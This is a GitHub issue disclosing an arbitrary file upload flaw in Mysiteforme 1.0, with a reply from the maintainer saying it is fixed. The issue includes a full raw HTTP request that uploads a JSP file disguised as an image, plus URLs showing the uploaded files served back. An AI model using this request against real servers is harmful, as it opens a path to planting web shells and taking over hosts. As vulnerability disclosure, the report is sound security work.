Skip to content

Mysiteforme 1.0 has arbitrary File Upload #55

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Closed
LvZCh opened this issue Dec 24, 2024 · 1 comment
Closed

Mysiteforme 1.0 has arbitrary File Upload #55

LvZCh opened this issue Dec 24, 2024 · 1 comment

Comments

@LvZCh
Copy link

LvZCh commented Dec 24, 2024

Code Audit:
Src/main/java/com/mysiteform/admin/service/ipl/LocalUploadServiceImpl. The upload file in src/main/java is not protected, resulting in the ability to upload JSP Trojans and HTML files
image
image

Vulnerability exploitation:
Upload image interface, just did front-end suffix verification. First upload the image file, then capture the package and change the suffix to JSP or HTML
image

POST /file/upload/ HTTP/1.1
Host: 192.168.52.132:8080
Content-Length: 209
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryUJ6YUNERWxp4xW7u
Origin: http://192.168.52.132:8080
Referer: http://192.168.52.132:8080/admin/system/site/show
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=cb29c68b-b9cd-4517-8391-f006b785386e
Connection: close

------WebKitFormBoundaryUJ6YUNERWxp4xW7u
Content-Disposition: form-data; name="test"; filename="123.jsp"
Content-Type: image/jpeg

<% out.println("test1234"); %>
------WebKitFormBoundaryUJ6YUNERWxp4xW7u--

image
http://192.168.52.132:8080/static/upload/db499a9f-c726-409d-b741-2cb82e1a9b01.jsp
image
image
http://192.168.52.132:8080/static/upload/f4c37e5f-b649-4a06-9075-11aa7d4a885a.html
image

@wangl1989
Copy link
Owner

fixed

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants